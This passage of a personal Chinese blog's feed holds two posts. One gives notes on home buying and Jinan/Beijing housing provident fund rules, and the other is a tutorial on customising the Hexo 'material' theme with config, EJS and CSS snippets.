    <content type="html"><![CDATA[<p>最近准备买房，各种凑钱，整得焦头烂额，一辈子就为了个栖身之所，相关的政策也要了解，特别是二手房交易流程复杂风险多，需要多多了解，现记录一下以备用。</p><a id="more"></a><h2 id="新房-vs-二手房"><a href="#新房-vs-二手房" class="headerlink" title="新房 vs. 二手房"></a>新房 vs. 二手房</h2><h3 id="火眼金晴"><a href="#火眼金晴" class="headerlink" title="火眼金晴"></a>火眼金晴</h3><h4 id="家电"><a href="#家电" class="headerlink" title="家电"></a>家电</h4><ul><li>空调外机，空调外机噪音。</li><li><h2 id="房产证"><a href="#房产证" class="headerlink" title="房产证"></a>房产证</h2>房产证有大房产证（集体产权）、小房产证</li></ul><h2 id="公积金贷款"><a href="#公积金贷款" class="headerlink" title="公积金贷款"></a>公积金贷款</h2><ul><li><p>济南公积金贷款条件及额度</p><p>条件：</p><p>济南户口</p><p>连续6个月缴纳住房公积金（不限地点，北京缴纳亦可），且正常缴存状态</p><p>额度：</p><p>主借款人的借款额度可以与配偶合并，配偶自动成为共同还款人，两人须同时连续6个月缴纳住房公积金。</p></li><li><p>北京公积金提取政策</p><p>异地买房提取：</p><p>买了房子之后，购房合同，贷款证明，一次性全部提取（需剩余10块钱）。</p><p>异地还贷提取：</p><p>最快每一个季度办理提取，其他可全部提取（需剩余10块钱）。</p></li><li><p>济南公积金提取政策</p><p>工</p></li></ul><p>Q &amp; A</p><ol><li><p>非济南户口，在济南买房，使用北京公积金能否申请济南购房的公积金贷款？</p><p>必须得是济南户口，配偶是济南户口的可以作为主借款人，另一方作为共同还款人。</p></li><li><p>连续6个月，我现在离职又工作中间断了一个月有没有办法代缴或补缴？</p></li><li><p>北京每月公积金能否直接还济南房贷的月供？</p><p>不能异地还，只能依据公积金缴存地（如北京）的提取政策，能否按月提取公积金。</p></li></ol><p>参考链接：</p><ul><li><p>1万元个人住房公积金贷款及商业贷款等额本息还款方式计算表</p><p><a href="http://gjj.jinan.gov.cn/col/col11481/index.html" target="_blank" rel="noopener">http://gjj.jinan.gov.cn/col/col11481/index.html</a></p></li></ul>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;最近准备买房，各种凑钱，整得焦头烂额，一辈子就为了个栖身之所，相关的政策也要了解，特别是二手房交易流程复杂风险多，需要多多了解，现记录一下以备用。&lt;/p&gt;
    
    </summary>
    
    
      <category term="房产" scheme="https://xiaopo.org/categories/%E6%88%BF%E4%BA%A7/"/>
    
    
  </entry>
  
  <entry>
    <title>hexo主题配置与修改</title>
    <link href="https://xiaopo.org/posts/13920.html"/>
    <id>https://xiaopo.org/posts/13920.html</id>
    <published>2020-05-21T22:47:09.000Z</published>
    <updated>2021-01-26T15:07:36.993Z</updated>
    
    <content type="html"><![CDATA[<p>最近把博客换到了github pages上面，使用hexo作为静态页面生成的工具，hexo自带主题比较丑，于是搜索自己比较喜欢简洁、小众风格，最后选中了<a href="https://github.com/wayou/hexo-theme-material" target="_blank" rel="noopener">https://github.com/wayou/hexo-theme-material</a> 这个hexo主题，我们需要对这个主题做一些配置和修改，因为这个主题本身不提供文章分类和标签的功能，记录一下摸索的过程。</p><a id="more"></a><h2 id="配置与修改"><a href="#配置与修改" class="headerlink" title="配置与修改"></a>配置与修改</h2><h3 id="选择语言包"><a href="#选择语言包" class="headerlink" title="选择语言包"></a>选择语言包</h3><p>修改hexo中的_config.yml文件</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">language: zh-CN</span><br></pre></td></tr></table></figure><p>主题languages文件夹下zh-CN.yml文件中需要补充以下两个字段</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">archive_a: 归档</span><br><span class="line">archive_b: &quot;归档: %s&quot;</span><br></pre></td></tr></table></figure><p>其中archive_a用来显示点击菜单中“归档”时的页面title</p><h3 id="编辑首页"><a href="#编辑首页" class="headerlink" title="编辑首页"></a>编辑首页</h3><p>编辑主题中的_config.yml文件，而非hexo中的_config.yml文件</p><ol><li><p>修改”存档“为”归档“</p></li><li><p>注释菜单中”RSS“</p></li><li><p>修改links:</p></li><li><p>增加以下两个widgets</p></li></ol><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">- category</span><br><span class="line">- tag</span><br></pre></td></tr></table></figure><p>其中category用于显示文章分类，tag用于显示标签。</p><h3 id="生成页面"><a href="#生成页面" class="headerlink" title="生成页面"></a>生成页面</h3><ol><li>生成分类页面<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">hexo new page categories</span><br></pre></td></tr></table></figure>将 source/categories/index.md 的内容修改为如下：<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">---</span><br><span class="line">title: 分类</span><br><span class="line">date: 2020-05-21 22:00:00</span><br><span class="line">type: &quot;categories&quot;</span><br><span class="line">comments: false</span><br><span class="line">---</span><br></pre></td></tr></table></figure></li><li>生成标签页面<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">hexo new page tags</span><br></pre></td></tr></table></figure>将 source/tags/index.md 的内容修改为如下：<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">---</span><br><span class="line">title: 标签</span><br><span class="line">date: 2020-05-21 22:00:00</span><br><span class="line">type: &quot;tags&quot;</span><br><span class="line">comments: false</span><br><span class="line">---</span><br></pre></td></tr></table></figure></li><li>生成 about 关于我页面<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">hexo new page about</span><br></pre></td></tr></table></figure>将 source/about/index.md 的内容修改为如下：<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">---</span><br><span class="line">title: 关于我</span><br><span class="line">type: &quot;about&quot;</span><br><span class="line">date: 2020-05-21 22:00:00</span><br><span class="line">comments: false</span><br><span class="line">---</span><br><span class="line"></span><br><span class="line">关于你的描述......</span><br></pre></td></tr></table></figure></li></ol><h3 id="安装favicon-icon"><a href="#安装favicon-icon" class="headerlink" title="安装favicon.icon"></a>安装favicon.icon</h3><p>在<a href="https://favicon.io/favicon-generator/" target="_blank" rel="noopener">https://favicon.io/favicon-generator/</a> 网站上面制作，制作完成之后上面也有引入方式</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">link</span> <span class="attr">rel</span>=<span class="string">"apple-touch-icon"</span> <span class="attr">sizes</span>=<span class="string">"180x180"</span> <span class="attr">href</span>=<span class="string">"/apple-touch-icon.png"</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">link</span> <span class="attr">rel</span>=<span class="string">"icon"</span> <span class="attr">type</span>=<span class="string">"image/png"</span> <span class="attr">sizes</span>=<span class="string">"32x32"</span> <span class="attr">href</span>=<span class="string">"/favicon-32x32.png"</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">link</span> <span class="attr">rel</span>=<span class="string">"icon"</span> <span class="attr">type</span>=<span class="string">"image/png"</span> <span class="attr">sizes</span>=<span class="string">"16x16"</span> <span class="attr">href</span>=<span class="string">"/favicon-16x16.png"</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">link</span> <span class="attr">rel</span>=<span class="string">"manifest"</span> <span class="attr">href</span>=<span class="string">"/site.webmanifest"</span>&gt;</span></span><br></pre></td></tr></table></figure><p>修改/home/xiaopo/grayguest.github.io/docs/themes/material/layout/_partial/head.ejs中的内容符合上面的引入方式即可<br><img src="https://i.loli.net/2020/05/22/gxry7fCeE1PaFdW.png" alt="data-typora_assets-hexo主题配置与修改-image-20200522002421022.png"></p><h3 id="修改颜色"><a href="#修改颜色" class="headerlink" title="修改颜色"></a>修改颜色</h3><p>全局修改，目前没找到方法。</p><h3 id="修改More…"><a href="#修改More…" class="headerlink" title="修改More…"></a>修改More…</h3><p>article.ejs，修改如下代码：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;a class&#x3D;&quot;btn btn-default&quot; href&#x3D;&quot;&lt;%- url_for(post.path) %&gt;&quot;&gt; More... &lt;&#x2F;a&gt;</span><br></pre></td></tr></table></figure><p>为</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;a class&#x3D;&quot;article-more-a&quot; href&#x3D;&quot;&lt;%- url_for(post.path) %&gt;&quot;&gt; 阅读更多... &lt;&#x2F;a&gt;</span><br></pre></td></tr></table></figure><h3 id="修改移动端兼容性"><a href="#修改移动端兼容性" class="headerlink" title="修改移动端兼容性"></a>修改移动端兼容性</h3><p>该主题在移动端，实际测试所用手机为iphone se2 13.5.1+safari，对于代码高亮有左右滚动条的展示，代码会显示不全，需要修改material主题source/css/highlight.css和highlight.light.css这2个文件中的<code>.highlight pre {}</code>和<code>figure.highlight pre</code>部分，具体将以下</p><figure class="highlight css"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="selector-class">.highlight</span> <span class="selector-tag">pre</span> &#123;</span><br><span class="line">  <span class="attribute">border</span>: none;</span><br><span class="line">  <span class="attribute">margin</span>: <span class="number">0</span>;</span><br><span class="line">  <span class="attribute">padding</span>: <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>更改为</p><figure class="highlight css"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="selector-class">.highlight</span> <span class="selector-tag">pre</span> &#123;</span><br><span class="line">  <span class="attribute">border</span>: none;</span><br><span class="line">  <span class="attribute">margin</span>: <span class="number">0</span>;</span><br><span class="line">  <span class="comment">/* padding: 0; */</span></span><br><span class="line">  <span class="attribute">padding-top</span>: <span class="number">0</span>;</span><br><span class="line">  <span class="attribute">padding-bottom</span>: <span class="number">0</span>;</span><br><span class="line">  <span class="attribute">padding-left</span>: <span class="number">0</span>;</span><br><span class="line">  <span class="attribute">white-space</span>: pre;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="增加分类"><a href="#增加分类" class="headerlink" title="增加分类"></a>增加分类</h3><p>前面已经通过<code>hexo new page categories</code>生成分类页面，拷贝landscape主题的layout/category.ejs到material主题的同级目录，拷贝landscape主题的layout/_partial/post文件夹到material主题的同级目录，编辑material主题layout/_widget\category.ejs</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">&lt;% if (site.categories.length)&#123; %&gt;</span><br><span class="line">&lt;div class&#x3D;&quot;widget&quot;&gt;</span><br><span class="line">&lt;h4&gt;&lt;%&#x3D; __(&#39;categories&#39;) %&gt;&lt;&#x2F;h4&gt;</span><br><span class="line">&lt;ul class&#x3D;&quot;tag_box inline list-unstyled&quot;&gt;</span><br><span class="line">&lt;% site.categories.sort(&#39;name&#39;).each(function(item)&#123; %&gt;</span><br><span class="line">&lt;li&gt;</span><br><span class="line">            &lt;a href&#x3D;&quot;&lt;%- config.root %&gt;&lt;%- item.path %&gt;&quot;&gt;&lt;i class&#x3D;&quot;mdi-content-sort&quot;&gt;&lt;&#x2F;i&gt;&lt;%&#x3D; item.name %&gt;&lt;&#x2F;a&gt;</span><br><span class="line">            &lt;&#x2F;li&gt;</span><br><span class="line">&lt;% &#125;); %&gt;</span><br><span class="line">&lt;&#x2F;ul&gt;</span><br><span class="line">&lt;&#x2F;div&gt;</span><br><span class="line">&lt;% &#125; %&gt;</span><br></pre></td></tr></table></figure><h3 id="增加标签"><a href="#增加标签" class="headerlink" title="增加标签"></a>增加标签</h3><p>前面已经通过<code>hexo new page tags</code>生成标签页面，拷贝landscape主题的layout/tag.ejs到material主题的同级目录，编辑material主题layout/_widget\tag.ejs</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">&lt;% if (site.tags.length)&#123; %&gt;</span><br><span class="line">  &lt;div class&#x3D;&quot;widget&quot;&gt;</span><br><span class="line">    &lt;h4&gt;&lt;%&#x3D; __(&#39;tags&#39;) %&gt;&lt;&#x2F;h4&gt;</span><br><span class="line">    &lt;ul class&#x3D;&quot;blogroll list-unstyled&quot;&gt;</span><br><span class="line">      &lt;% site.tags.each(function(tag)&#123; %&gt;</span><br><span class="line">        &lt;li&gt;</span><br><span class="line">          &lt;a href&#x3D;&quot;&lt;%&#x3D; config.root %&gt;&lt;%&#x3D; tag.path %&gt;&quot; &gt; &lt;i class&#x3D;&quot;mdi-action-label-outline&quot;&gt;&lt;&#x2F;i&gt;&lt;%&#x3D; tag.name%&gt;&lt;&#x2F;a&gt;</span><br><span class="line">        &lt;&#x2F;li&gt;</span><br><span class="line">      &lt;% &#125;); %&gt;</span><br><span class="line">    &lt;&#x2F;ul&gt;</span><br><span class="line">  &lt;&#x2F;div&gt;</span><br><span class="line">&lt;% &#125; %&gt;</span><br></pre></td></tr></table></figure><h3 id="增加版权说明"><a href="#增加版权说明" class="headerlink" title="增加版权说明"></a>增加版权说明</h3><p>article.ejs文件的post部分增加，</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&lt;% if (page.path !&#x3D; &#39;about&#x2F;index.html&#39; &amp;&amp; theme.copyright.enable)&#123; %&gt;</span><br><span class="line">&lt;%- partial(&#39;copyright&#39;) %&gt;</span><br><span class="line">&lt;% &#125; %&gt;</span><br></pre></td></tr></table></figure><p>发现about部分也会显示版权说明，about处的pageType竟然是post？？？</p><p>增加主题layout/_partial/copyright.ejs文件</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line">&lt;style type&#x3D;&quot;text&#x2F;css&quot;&gt;</span><br><span class="line">.page-copyright &#123;</span><br><span class="line">    margin: 2em 0 0;</span><br><span class="line">    padding: 0.5em 1em;</span><br><span class="line">    border-left: 3px solid #FF1700;</span><br><span class="line">    background-color: #F9F9F9;</span><br><span class="line">    list-style: none;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">.page-copyright li &#123;</span><br><span class="line">    line-height: 30px;</span><br><span class="line">&#125;</span><br><span class="line">&lt;&#x2F;style&gt;</span><br><span class="line">&lt;div&gt;</span><br><span class="line">    &lt;ul class&#x3D;&quot;page-copyright&quot;&gt;</span><br><span class="line">      &lt;li class&#x3D;&quot;page-copyright-author&quot;&gt;</span><br><span class="line">      &lt;strong&gt;&lt;%&#x3D; __(&#39;copyright.author&#39;) %&gt; &lt;&#x2F;strong&gt;&lt;%&#x3D; config.author%&gt;&lt;&#x2F;a&gt;</span><br><span class="line">      &lt;&#x2F;li&gt;</span><br><span class="line">      &lt;li class&#x3D;&quot;page-copyright-link&quot;&gt;</span><br><span class="line">      &lt;strong&gt;&lt;%&#x3D; __(&#39;copyright.link&#39;) %&gt; &lt;&#x2F;strong&gt;</span><br><span class="line">      &lt;a href&#x3D;&quot;&lt;%- config.root %&gt;&lt;%- page.path %&gt;&quot; target&#x3D;&quot;_blank&quot; title&#x3D;&quot;&lt;%&#x3D; page.title %&gt;&quot;&gt;&lt;%- config.url %&gt;&#x2F;&lt;%- page.path %&gt;&lt;&#x2F;a&gt;</span><br><span class="line">      &lt;&#x2F;li&gt;</span><br><span class="line">      &lt;li class&#x3D;&quot;page-copyright-license&quot;&gt;</span><br><span class="line">        &lt;strong&gt;&lt;%&#x3D; __(&#39;copyright.license_title&#39;) %&gt;  &lt;&#x2F;strong&gt;</span><br><span class="line">        &lt;%&#x3D; __(&#39;copyright.left_license_content&#39;) %&gt;&lt;a rel&#x3D;&quot;license&quot; href&#x3D;&quot;https:&#x2F;&#x2F;creativecommons.org&#x2F;licenses&#x2F;by-nc-nd&#x2F;4.0&#x2F;&quot; target&#x3D;&quot;_blank&quot; title&#x3D;&quot;Attribution-NonCommercial-NoDerivatives 4.0 International (CC BY-NC-ND 4.0)&quot;&gt;CC BY-NC-ND 4.0&lt;&#x2F;a&gt;</span><br><span class="line">        &lt;%&#x3D; __(&#39;copyright.right_license_content&#39;) %&gt;</span><br><span class="line">      &lt;&#x2F;li&gt;</span><br><span class="line">    &lt;&#x2F;ul&gt;</span><br><span class="line">  &lt;div&gt;</span><br></pre></td></tr></table></figure><p>主题_config.yml文件增加，</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">#版权信息</span><br><span class="line">copyright:</span><br><span class="line">    enable: true</span><br></pre></td></tr></table></figure><p>zh-CN.yml语言包增加，</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">copyright:</span><br><span class="line">    author: &quot;作者: &quot;</span><br><span class="line">    link: &quot;文章链接: &quot;</span><br><span class="line">    license_title: &quot;版权声明: &quot;</span><br><span class="line">    left_license_content: &quot;本网站所有文章除特别声明外，均采用&quot;</span><br><span class="line">    right_license_content: &quot;许可协议，转载请注明出处！&quot;</span><br></pre></td></tr></table></figure><h3 id="增加打赏"><a href="#增加打赏" class="headerlink" title="增加打赏"></a>增加打赏</h3><p>article.ejs文件的post部分增加，</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&lt;% if (page.path !&#x3D; &#39;about&#x2F;index.html&#39; &amp;&amp; theme.donate.enable)&#123; %&gt;</span><br><span class="line">&lt;%- partial(&#39;donate&#39;) %&gt;</span><br><span class="line">&lt;% &#125; %&gt;</span><br></pre></td></tr></table></figure><p>主题_config.yml文件增加，</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">#打赏</span><br><span class="line">donate:</span><br><span class="line">  enable: true</span><br><span class="line">  text: Enjoy it? Donate me! 赞赏支持！</span><br><span class="line">  wechat: </span><br><span class="line">  alipay:</span><br></pre></td></tr></table></figure><p>这部分暂时不需要，不再细写。</p><h2 id="缺陷"><a href="#缺陷" class="headerlink" title="缺陷"></a>缺陷</h2><ul><li>markdown中使用一号标题#的文章，无法显示在hexo生成的文章结构中</li><li>markdown中标题前面最好空一行，否则在hexo生成的文章中容易排版发生错位和其他问题。</li><li>文章中超链接需要单独写在一行，否则文章中的超链接会包含多余字符。</li><li><strong>不支持markdown表格。</strong></li></ul><h2 id="TODO"><a href="#TODO" class="headerlink" title="TODO"></a>TODO</h2><ul><li>读hexo主题相关文档细节，更好的自定义主题。</li></ul><h2 id="后记"><a href="#后记" class="headerlink" title="后记"></a>后记</h2><p>后来把主题换了～</p><h2 id="参考链接"><a href="#参考链接" class="headerlink" title="参考链接"></a>参考链接</h2><ul><li><a href="https://dustyposa.github.io/posts/e575718e/#%E6%9B%B4%E6%8D%A2%E4%B8%BB%E9%A2%98" target="_blank" rel="noopener">https://dustyposa.github.io/posts/e575718e/#%E6%9B%B4%E6%8D%A2%E4%B8%BB%E9%A2%98</a></li><li><a href="https://www.jianshu.com/p/33bc0a0a6e90" target="_blank" rel="noopener">https://www.jianshu.com/p/33bc0a0a6e90</a></li><li><a href="https://juejin.im/post/5be145a86fb9a049d7472623" target="_blank" rel="noopener">https://juejin.im/post/5be145a86fb9a049d7472623</a></li><li><a href="https://cloud.tencent.com/developer/article/1440353" target="_blank" rel="noopener">https://cloud.tencent.com/developer/article/1440353</a></li><li><a href="https://juejin.im/post/5d728f506fb9a06aef090e47" target="_blank" rel="noopener">https://juejin.im/post/5d728f506fb9a06aef090e47</a></li><li><a href="https://github.com/codefine/hexo-theme-mellow/issues/15" target="_blank" rel="noopener">https://github.com/codefine/hexo-theme-mellow/issues/15</a></li></ul>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;最近把博客换到了github pages上面，使用hexo作为静态页面生成的工具，hexo自带主题比较丑，于是搜索自己比较喜欢简洁、小众风格，最后选中了&lt;a href=&quot;https://github.com/wayou/hexo-theme-material&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/wayou/hexo-theme-material&lt;/a&gt; 这个hexo主题，我们需要对这个主题做一些配置和修改，因为这个主题本身不提供文章分类和标签的功能，记录一下摸索的过程。&lt;/p&gt;
    
    </summary>
    
    
      <category term="web" scheme="https://xiaopo.org/categories/web/"/>
    
    
      <category term="hexo" scheme="https://xiaopo.org/tags/hexo/"/>
    
  </entry>
  
</feed>
